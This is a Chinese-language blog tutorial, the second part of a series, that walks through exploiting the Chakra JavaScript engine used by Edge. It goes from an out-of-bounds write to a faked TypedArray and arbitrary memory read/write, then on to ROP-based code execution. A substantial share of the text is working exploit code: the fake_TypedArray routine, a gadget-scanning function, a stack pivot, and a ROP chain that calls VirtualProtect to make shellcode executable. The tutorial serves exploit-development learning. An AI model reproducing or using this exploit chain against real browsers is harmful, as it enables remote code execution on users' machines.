Edge 零基础漏洞利用——进阶版

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发布时间 : 2019-04-17 14:30:38

 

前情提要

上一篇文章我们讲到需要 fake 一个 TypedArray 来达到任意地址读写。想要 fake 任意对象,首先需要知道该对象的元数据,需要 fake 的 TypedArray 元数据怎么获得?

 

补充一些背景知识

以下为 TypedArray 的元数据信息,+0x38 处存放着视图的实际数据。

0:003> dx -r1 ((chakracore!Js::TypedArrayBase *) 0x0000018d`936b3980 )
((chakracore!Js::TypedArrayBase *) 0x0000018d`936b3980 )                 : 0x18d936b3980 [Type: Js::TypedArray<unsigned int,0,0> * (derived from Js::TypedArrayBase *)]
    [+0x008] type             : 0x18d93675480 [Type: Js::Type *]
    [+0x010] auxSlots         : 0x0 [Type: void * *]
    [+0x018] objectArray      : 0x0 [Type: Js::ArrayObject *]
    [+0x018] arrayFlags       : None (0x0) [Type: Js::DynamicObjectFlags]
    [+0x01a] arrayCallSiteIndex : 0x0 [Type: unsigned short]
    [+0x020] length           : 0x400 [Type: unsigned int]
    [+0x028] arrayBuffer      : 0x18d936d0140 [Type: Js::ArrayBufferBase *]
    [+0x030] BYTES_PER_ELEMENT : 4 [Type: int]
    [+0x034] byteOffset       : 0x0 [Type: unsigned int]
    [+0x038] buffer           : 0x18591bc8730 : 0x30 [Type: unsigned char *]

已经获得的越界读写只能访问数组后面的内存,如果 TypedArray 元数据被分配在越界读写数组的前面怎么办?需要数据喷射吗?原理可行,但是这里采用 fake Array 的方式来完成,这样更加简单、稳定。 fake Array 的方式需要点背景知识,这里来补充下。

Array 的背景知识


先回顾一下第一篇文章中介绍的 Array 的元数据, 常用的域包括 left 、length、size、 next Segment 几个。

Array 头部的 next segment 信息存储的是下一个 segment 的头部,其余的域属于当前的 segment 。为什么Chakra 不把 segment 放在一起,而是用指针的方式链接起来呢?因为 Chakra 在管理数组存储的时候,需要管理一种特殊的数组:Sparse 数组。即以下这种数组使用方式:

var arr = new Array(10);
arr[0x100000] = 10;

原始的数组空间不足以在索引 0x100000 处存储数据,所以需要 new 一块新的内存, 然后这块数据的相关信息保存在 next segment 位置。

 

Fake Array

Array 的背景知识可以解决 fake Array 的问题,进而解决TypedArray 元数据怎么获得的问题。既然我们知道 next segment 保存的是下一个Array的信息, 如果我们利用越界写把它指向 DataView 的元数据,那么不就可以读取TypedArray 的元数据了吗,任意地址读写不就达到了吗?说干就干,我们实现以下逻辑:

function fake_TypedArray(){
    modify_oob_arr_attri(0x7fffffff);

    var arr_len_index = 0x50000/4 -5 ;
    var arr_size_index = 0x50000/4 -4 ;

    var arr_buff_low = leak_obj_addr(arr_buff) % 0x100000000;

    var addr_dv = leak_obj_addr(dv);

    var int_arr_next_high_index = 0x100000000/4 + 13;
    var int_arr_next_low_index = 0x100000000/4 + 12;
    var int_arr_next_high = parseInt((addr_dv + 0x28) /0x100000000);
    var int_arr_next_low  = (addr_dv + 0x28) % 0x100000000;

    oob_write(vul_arr, int_arr_next_low_index, int_arr_next_low); 
    oob_write(vul_arr, int_arr_next_high_index, int_arr_next_high);
    modify_oob_arr_attri(0x0);

    var index =  arr_buff_low;

    for(var i=0; i< 0x10; i++){
        dv[i] = int_arr[index + i];
    }

    oob_write(vul_arr, int_arr_next_low_index, 0); 
    oob_write(vul_arr, int_arr_next_high_index, 0);
    modify_oob_arr_attri(0x7fffffff);

    var obj_arr_0_low  = 0x50000/4; 
    var obj_arr_0_high = 0x50000/4 +1;

    int_arr[obj_arr_0_low] = dv[0xe] > 0x7fffffff ? dv[0xe] - 0x100000000: dv[0xe];
    int_arr[obj_arr_0_high] = dv[0xf];    
    dv_rw = obj_arr[0];    
}

fake TypedArray 前后对比: 我们可以观察到,fake TypedArray 以后,windbg 已经将它识别为 TypedArray,标志着 fake TypedArray 的成功。

大致的逻辑是: 越界写将 int_arr 的next segment 指向 DataView, 然后用 int_arr 来读取 TypedArray 的元数据。读取的 TypedArray 元数据信息保存到另一个 TypedArray(dv) 的数据部分。这片新的内存即成为一个 fake 的 TypedArray,这里称为:dv_rw。由于 dv_rw 的元数据中包含视图数据的地址信息,而 dv 对 dv_rw 的元数据完全可控,也就完成了任意地址读写的目标,详细的逻辑请参考示例代码。

 

任意地址读写 to RCE

代码执行的前提条件是:我们对当前模块足够熟悉,知道 Chakra 中可执行代码位于哪里,以便我们获取到需要的 gadget 来完成代码执行。目标分解,需要以下三步骤即可代码执行:

1. Chakra 的基地址。

2. 解析 PE 获取 code 段信息, 获取gadges。

3. 修改虚表指针,指向 gadgets。

1. Chakra 的基地址

leak 模块基址的思路很简单:通过 leak_obj_addr 泄漏任意一个 obj 的 vtable,然后将 vtable 进行 0x10000 对齐后,每次减去 0x10000 去匹配 PE 文件的 Dos header 中的 Magic data。

2. 解析 PE 获取 code 段信息, 获取gadges

关于 PE 结构的解析,可以用第三方软件辅助我们解析(比如:CFF explorer), 也可以MS参考官方文档: https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format。先理清大致概念后,再动手写解析的代码。 获取 gadget 的逻辑,可以参考以下笔者的示例代码:

var byteArray = new Uint8Array(array.buffer);
var gadgets = {};
query.forEach((gadget) => {
    var name = gadget[0], bytes = gadget[1];
    var idx = 0;
    while (true) {
        idx = byteArray.indexOf(bytes[0], idx);
        if (idx < 0) {
            log('missing gadget ' + name);
        gadgets[name] = null;
        return gadgets;
        }
        for (var j = 1; j < bytes.length; j++) {
            if (bytes[j] >= 0 && byteArray[idx + j] != bytes[j]) {
                break;
            }
        }
        if (j == bytes.length) {
            break;
        }
        idx++;
    }
    gadgets[name] = p + codeBase+ idx;
});
return gadgets;

3. 修改虚表指针,指向 gadgets

寻找 int3 的地址,将 obj 的虚表重定向到该地址,执行 int3 一般厂商即认可代码执行的有效性。

但是我们还是希望通过努力,在 pc 上弹出一个计算器,这样更直观,也更加接近 pwn2own 的赛制要求。

 

弹出计算器

通过 rop 的方式,弹出计算器,首先需要控制 stack 指针(rsp)。rsp 的获得大致有两种途径:(1)修改 rsp 为可控的值(2)通过任意地址读写泄漏 rsp。 这里为了简单,我们采用第一种方式。至于第二种方式,有兴趣的小伙伴可以参考 pwnjs 项目(https://github.com/theori-io/pwnjs)。后续如果时间允许,我也将第二种方式详细的实现放在博客上。
通过修改虚表指针的方式,我们可以控制至少一个寄存器,这里的可控寄存器是 rax 。rax 是 fake 的虚表,虚表的第一项为 int3 的地址。

stack pivot

理想的 gadget 是一些 rsp,rax 的直接交互, 如: xchg rsp, rax 或者 mov rsp,rax 或者 push rax; pop rsp 之类,但是这里我们并不能直接获得这类 gadget 。通过编写小工具,很容易定位到一些有用的同等效力的gadget, 如:

0:003> u 0x294FC6 + chakracore
chakracore!::operator()+0x8a [e:a_work39slibruntimedebugprobecontainer.cpp @ 375]:
00007ffc`b1434fc6 50              push    rax
00007ffc`b1434fc7 08488b          or      byte ptr [rax-75h],cl
00007ffc`b1434fca 5c              pop     rsp
00007ffc`b1434fcb 2430            and     al,30h
00007ffc`b1434fcd 4883c420        add     rsp,20h
00007ffc`b1434fd1 5f              pop     rdi
00007ffc`b1434fd2 c3              ret

栈迁移后,我们就可以着手准备 rop 链和 shellcode 了。这部分的整体逻辑示意图如下:

通过调用 VirtualProtect 将地址属性修改为可执行,然后执行 shellcode。

补充一些背景知识

x64 calling convention (https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019), 参数依次存放在 rcx, rex, r8, r9 和栈上。
VirtualProtect 的函数原型如下:

BOOL VirtualProtect
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flNewProtect,
      PDWORD lpflOldProtect
    );

该 API 需要4个参数,依次对应 lpAddress <—> rcx, dwSize <—> rdx, flNewProtect <—> r8, lpflOldProtect <—> r9。

我们理想的 gadget 当然就是: pop rcx; pop rdx; pop r8; pop r9; ret; 同样的,实际上并没有这类 gadget,我们选择一些同等效力的替代 gadget :pop rcx; ret 和 pop rdx; ret 和 pop r8x; ret; 由于 r9 没有类似的 gadget,我选择另外一个gadget:

0:003> u F42DD + chakracore
chakracore!FlowGraph::FindEdge+0x35 [e:a_work39slibbackendflowgraph.cpp @ 623]:
00007ffc`b12942dd 4c8bc8          mov     r9,rax
00007ffc`b12942e0 498bc1          mov     rax,r9
00007ffc`b12942e3 4883c438        add     rsp,38h
00007ffc`b12942e7 c3              ret

准备 VirtualProtect 参数的 rop 链,的示例代码如下:


    var gadget_pop_int3 = new Addr(gadgets_addr_list['int3']);
    var gadget_pop_rcx  = new Addr(gadgets_addr_list['pop_rcx']);
    var gadget_pop_rdx  = new Addr(gadgets_addr_list['pop_rdx']);
    var gadget_pop_r8   = new Addr(gadgets_addr_list['pop_r8']);
    var gadget_pop_r9   = new Addr(chakracore_base + 0xF42DD);

/*    
0:003> u chakracore + 0xF42DD
chakracore!FlowGraph::FindEdge+0x35 [e:a_work39slibbackendflowgraph.cpp @ 623]:
00007ffc`b12942dd 4c8bc8          mov     r9,rax
00007ffc`b12942e0 498bc1          mov     rax,r9
00007ffc`b12942e3 4883c438        add     rsp,38h
00007ffc`b12942e7 c3              ret
*/    
    var rop_chain = [
         gadget_pop_rcx.low,     gadget_pop_rcx.high        // gadget: pop rcx
        ,ret_list[0],             ret_list[1]                  // lpAddress
        ,gadget_pop_rdx.low,     gadget_pop_rdx.high        // gadget: pop rdx
        ,1*0x1000*0x1000,         0x0                         // dwSize
        ,gadget_pop_r8.low,     gadget_pop_r8.high           // gadget: pop r8
        ,0x40,                     0x0                        // flNewProtect
        ,gadget_pop_int3.low,   gadget_pop_int3.high       // int3
    ];

    for(var i=0; i<rop_chain.length ;i++){
        fake_stack[i + 26] = rop_chain[i];
    }

上面的 rop 执行后,寄存器的值如下:

VirtualProtect rop 链调用之前的内存属性为:读写:

VirtualProtect rop 链调用之后的内存属性为:读写+执行:

表明 rop 链调用 VirtualProtect 已经成功,剩下的就只有实现 shellcode部分了。

最终效果如下:

 

Last but not least

还记得当初的目标吗? ”零基础在浏览器中稳定的弹出第一个计算器“。 在 Chakra 的漏洞利用中,我们只需要解决ASLR 和 DEP的问题。在 Edge 中,将面临 CFG、 Sandbox 、CIG 、ACG 等挑战。如何将 exp 稳定的移植到 Edge 中?怎样处理CFG?…

Stay tuned !

本文由css_hacker原创发布

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